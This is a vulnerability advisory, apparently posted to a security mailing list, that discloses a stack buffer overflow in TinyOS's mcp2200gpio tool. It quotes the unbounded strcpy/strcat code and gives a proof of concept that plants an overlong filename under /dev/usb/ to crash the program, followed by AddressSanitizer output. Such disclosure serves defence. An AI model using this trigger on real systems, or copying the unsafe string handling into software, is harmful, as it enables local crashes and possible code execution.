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From: Ron E <ronaldjedgerson () gmail com> Date: Thu, 8 Jan 2026 10:28:22 -0500

A stack-based buffer overflow vulnerability exists in the mcp2200gpio
utility due to unsafe use of strcpy() and strcat() when constructing device
paths during automatic device discovery. A local attacker can trigger the
vulnerability by creating a specially crafted filename under /dev/usb/,
resulting in stack memory corruption and a process crash. In non-hardened
builds, this may lead to arbitrary code execution.

*Root Cause:*

The vulnerability occurs when the program scans /dev/usb/ for HID devices
and constructs a device path using unbounded string operations:

char temppath[255];
strcpy(temppath, "/dev/usb/");
strcat(temppath, dir->d_name);

The filename dir->d_name is attacker-controlled via the filesystem and may
reach up to NAME_MAX bytes. When concatenated with the static prefix
/dev/usb/, the resulting string can exceed the bounds of the fixed-size
temppath stack buffer, leading to a stack-based buffer overflow.

*Impact:*

- Stack memory corruption
- Denial of Service (application crash)
- Arbitrary code execution in non-hardened builds


The overflow overwrites adjacent stack variables, including structures used
later in HID ioctl operations.



*Proof of Concept:*sudo mkdir -p /dev/usb
sudo touch /dev/usb/hiddev$(python3 - << 'EOF'
print("A" * 246)
EOF
)

# sudo ./mcp2200gpio -n 1 -m on -v 0x0000




*Output:*=================================================================
==492273==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa9c0040f at pc 0xaaaab0710424 bp 0xffffc5ef3180 sp 0xffffc5ef2970
WRITE of size 253 at 0xfbffa9c0040f thread T0
#0 0xaaaab0710420 in strcat
(/root/tinyos-main/tools/platforms/ucmote/mcp2200gpio/mcp2200gpio+0xc0420)
(BuildId: 06bb85b2acdecb46e7913ae301c4f4124be84374)
#1 0xaaaab076e6cc in main
/root/tinyos-main/tools/platforms/ucmote/mcp2200gpio/mcp2200gpio.c:137:6
#2 0xffffab942598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#3 0xffffab942678 in __libc_start_main csu/../csu/libc-start.c:360:3
#4 0xaaaab0686e6c in _start
(/root/tinyos-main/tools/platforms/ucmote/mcp2200gpio/mcp2200gpio+0x36e6c)
(BuildId: 06bb85b2acdecb46e7913ae301c4f4124be84374)

Address 0xfbffa9c0040f is located in stack of thread T0 at offset 1039 in
frame
#0 0xaaaab076d8bc in main
/root/tinyos-main/tools/platforms/ucmote/mcp2200gpio/mcp2200gpio.c:43

SUMMARY: AddressSanitizer: stack-buffer-overflow
(/root/tinyos-main/tools/platforms/ucmote/mcp2200gpio/mcp2200gpio+0xc0420)
(BuildId: 06bb85b2acdecb46e7913ae301c4f4124be84374) in strcat
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• TinyOS 2.1.2 Stack-Based Buffer Overflow in mcp2200gpio Ron E (Jan 10)